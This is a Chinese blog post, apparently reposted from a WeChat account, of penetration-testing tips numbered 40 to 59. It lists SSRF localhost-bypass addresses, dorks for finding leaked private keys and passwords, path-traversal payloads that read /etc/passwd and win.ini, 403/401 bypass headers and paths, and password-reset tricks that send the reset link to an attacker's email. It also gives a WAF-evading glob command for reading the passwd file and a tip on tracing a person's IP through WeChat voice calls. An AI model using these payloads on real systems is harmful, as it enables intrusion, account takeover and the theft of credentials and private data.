实用渗透测试Tips,小技巧 - 第40~59

admin 2022年6月27日09:42:14评论146 views字数 6224阅读20分44秒阅读模式

前言:

项目地址:

https://github.com/Power7089/PenetrationTest-Tips

现在格式,分类还没有进行美化,还在整理收集聚合阶段。

师傅们可以使用公众号和Github项目交叉使用来阅读,先将就一下~

后面数量多一些,我会进行分类,以及在Github中倒叙排序。

也会同步更新在公众号中, 欢迎师傅们关注~


本次更新第40到59,渗透测试Tips,小技巧


40、绕过SSRF防护的几个小方法:

A、绕过SSRF限制通过CIDR,如:
http://127.127.127.127
http://127.0.0.0

B、不完整的地址,如:
http://127.1
http://0

C、将地址结合在通过特殊字符结合在一起,如:
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib : 3.3.3.3

D、绕过解析器,如:
http://127.1.1.1:[email protected]:80/

E、绕过localhost通过[::],如:
http://[::]:80/
http://0000::1:80/

41、几个常用的Google语法:

inurl:example.com intitle:"index of"
inurl:example.com intitle:"index of /" "*key.pem"
inurl:example.com ext:log
inurl:example.com intitle:"index of" ext:sql|xls|xml|json|csv
inurl:example.com "MYSQL_ROOT_PASSWORD:" ext:env OR ext:yml -git

42、通过对比favicon的hash对比相关联的网站:

脚本地址:https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py
命令:python3 favihash.py -f https://target/favicon.ico -t targets.txt -s

43、一些本地包含参数:

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

44、在JavaScript文件中可以找一些隐藏的GET参数,比如:

首先,在js文件中找到一些变量,比如:var test="xss"
然后,可以尝试使用GET方法构造每一个参数,比如:
https://example.com/?test=”xsstest
本方法可能会发现一些XSS

45、使用github dorks帮助我们寻找一些敏感信息,比如:

extension:pem private
extension:ppk private
extension:sql mysql dump password
extension:json api.forecast.io
extension:json mongolab.com
extension:yaml mongolab.com
extension:ica [WFClient] Password=
extension:avastlic “support.avast.com”
extension:js jsforce conn.login
extension:json googleusercontent client_secret
“target.com” send_keys
“target.com” password
“target.com” api_key
“target.com” apikey
“target.com” jira_password
“target.com” root_password
“target.com” access_token
“target.com” config
“target.com” client_secret
“target.com” user auth
通过上述语法,可以搜索到一些敏感的私钥,一些SSH登录私钥,mysql的数据库密码,API key等等。
另外推荐一个脚本:https://github.com/techgaun/github-dorks

46、SSRF常见的参数:

?dest={target}
?redirect={target}
?uri={target}
?path={target}
?continue={target}
?url={target}
?window={target}
?next={target}
?data={target}
?reference={target}
?site={target}
?html={target}
?val={target}
?validate={target}
?domain={target}
?callback={target}
?return={target}
?page={target}
?feed={target}
?host={target}
?port={target}
?to={target}
?out={target}
?view={target}
?dir={target}

47、通过添加.json后缀,泄露一些敏感信息,比如:

一次正常请求:
GET /ResetPassword HTTP/1.1
{"email":"[email protected]"}
响应:
HTTP/1.1 200 OK

添加.json后缀的请求:
GET /ResetPassword.json HTTP/1.1
{"email":"[email protected]"}
响应:
HTTP/1.1 200 OK
{"success":"true","token":"596a96-cc7bf-9108c-d896f-33c44a-edc8a"}

原文链接:https://twitter.com/SalahHasoneh1/status/1293918353971531776

48、如果响应为401,可以试试在请求头中添加X-Custom-IP-Authorization: 127.0.0.1

原文链接:https://www.infosecmatter.com/bug-bounty-tips-5-aug-17/#5_how_to_find_authentication_bypass_vulnerabilities

49、利用火绒剑,配合微信发语音的方式,可以获取该人的登录IP。

50、目录穿越,敏感文件读取一些Payload:

..WINDOWSwin.ini
..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:
.?.?.?etcpasswd
../../boot.ini
%0a/bin/cat%20/etc/passwd
\'/bin/cat%20/etc/passwd\'
..%c1%afetc%c1%afpasswd

51、在访问admin路径面板时可以通过添加%20,来绕过,具体如下:

target.com/admin –> HTTP 302 (重定向到登录页面)
target.com/admin%20/ -> HTTP 200 OK
target.com/%20admin%20/ -> HTTP 200 OK
target.com/admin%20/page -> HTTP 200 OK

52、在重置密码的地方,可以尝试添加另外一个次要的账号,比如,手机号,邮箱号等等,比如:

a、构造两个参数:
[email protected]&[email protected]
b、使用抄送方式:
[email protected]%0a%0dcc:[email protected]
c、使用分隔符:
[email protected],[email protected]
[email protected]%[email protected]
[email protected]|[email protected]
d、不使用域名:email=victim
e、不使用顶级域名:email=victim@xyz
f、JSON情况:
{"email":["[email protected]","[email protected]"]}

53、如果有利用邮箱重置密码功能的情况,而且还是JSON传输的情况下,使用SQLmap跑注入,可以将*(星号)放在@之前,比如:

{“email”:”test*@xxx.com”}
或者在*(星号)这个地方进行手注
原因大家可以看这里:https://tools.ietf.org/html/rfc3696#section-3

原文链接:https://www.infosecmatter.com/bug-bounty-tips-7-sep-27/#2_bypass_email_filter_leading_to_sql_injection_json

54、可以获取目标站点的favicon.ico图标的哈希值,然后配合shodan进行目标站点资产收集,因为每个目标站点的favicon.ico图标的哈希值可能是固定值,因此可以通过该方法从shodan,fofa等等去寻找更多资产。简单的用法:

#python 3
import mmh3
import requests
import codecs
response = requests.get("https://www.baidu.com/favicon.ico")
favicon = codecs.encode(response.content,"base64")
hash = mmh3.hash(favicon)
print(hash)

或使用下面这个github项目:
https://github.com/devanshbatham/FavFreak

shodan搜索语句:http.favicon.hash:哈希值
fofa搜索语句:icon_hash="-247388890"(但仅限于高级用户使用)

原文链接:https://www.infosecmatter.com/bug-bounty-tips-8-oct-14/#8_database_of_500_favicon_hashes_favfreak

55、绕过403和401的小技巧:

a、添加以下请求头,比如:X-Originating-IP, X-Remote-IP, X-Client-IP, X-Forwarded-For等等;有可能会有一些白名单IP地址可以访问这些敏感数据。

b、如果使用GET方法访问某些路径,返回403,可以先访问允许访问的路径,然后在请求头中,添加下面的头:
X-Original-URL: /admin
X-Override-URL: /admin
X-Rewrite-URL: /admin

c、可以使用下面这些Payload试试
/accessible/..;/admin
/.;/admin
/admin;/
/admin/~
/./admin/./
/admin?param
/%2e/admin
/admin#

原文链接:https://www.infosecmatter.com/bug-bounty-tips-8-oct-14/#11_tips_on_bypassing_403_and_401_errors

56、如果访问/.git目录返回403,别忘了进一步访问下面的目录,比如:/.git/config

57、使用通配符绕过WAF,如果WAF拦截了RCE,LFI的payload,我们可以尝试使用通配符来绕过,比如:

/usr/bin/cat /etc/passwd ==  /???/???/c?t$IFS/?t?/p?s?wd
? = 任意的单个字符
* = 任意字符串,也包含置空的字符串
通配符在常见的系统中都适用,另外我们可以使用$IFS特殊变量取代空白
$IFS = 内部字段分隔符 = [space], [tab] 或者 [newline]

cat /etc$u/p*s*wd$u

小例子,执行/bin/cat /etc/passwd的写法:
/*/?at$IFS/???/???swd
/****/?at$IFS/???/*swd
/****/?at$IFS/???/*******swd

原文地址:https://www.infosecmatter.com/bug-bounty-tips-9-nov-16/#8_waf_bypass_using_globbing

58、绕过403的一个BurpSuit插件,地址:

https://github.com/sting8k/BurpSuite_403Bypasser

59、SSRF bypass列表,基于localhost(127.0.0.1),如下:

http://127.1/
http://0000::1:80/
http://[::]:80/
http://2130706433/
http://[email protected]
http://0x7f000001/
http://017700000001
http://0177.00.00.01
http://⑯⑨。②⑤④。⑯⑨。②⑤④/
http://⓪ⓧⓐ⑨。⓪ⓧⓕⓔ。⓪ⓧⓐ⑨。⓪ⓧⓕⓔ:80/
http://⓪ⓧⓐ⑨ⓕⓔⓐ⑨ⓕⓔ:80/
http://②⑧⑤②⓪③⑨①⑥⑥:80/
http://④②⑤。⑤①⓪。④②⑤。⑤①⓪:80/
http://⓪②⑤①。⓪③⑦⑥。⓪②⑤①。⓪③⑦⑥:80/
http://0xd8.0x3a.0xd6.0xe3
http://0xd83ad6e3
http://0xd8.0x3ad6e3
http://0xd8.0x3a.0xd6e3
http://0330.072.0326.0343
http://000330.0000072.0000326.00000343
http://033016553343
http://3627734755
http://%32%31%36%2e%35%38%2e%32%31%34%2e%32%32%37
http://216.0x3a.00000000326.0xe3

原文链接:https://www.infosecmatter.com/bug-bounty-tips-10-dec-24/#13_ssrf_bypass_list_for_localhost_127001


实用渗透测试Tips,小技巧 - 第40~59

原文始发于微信公众号(闪石星曜CyberSecurity):实用渗透测试Tips,小技巧 - 第40~59

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月27日09:42:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实用渗透测试Tips,小技巧 - 第40~59https://cn-sec.com/archives/1031223.html

发表评论

匿名网友 填写信息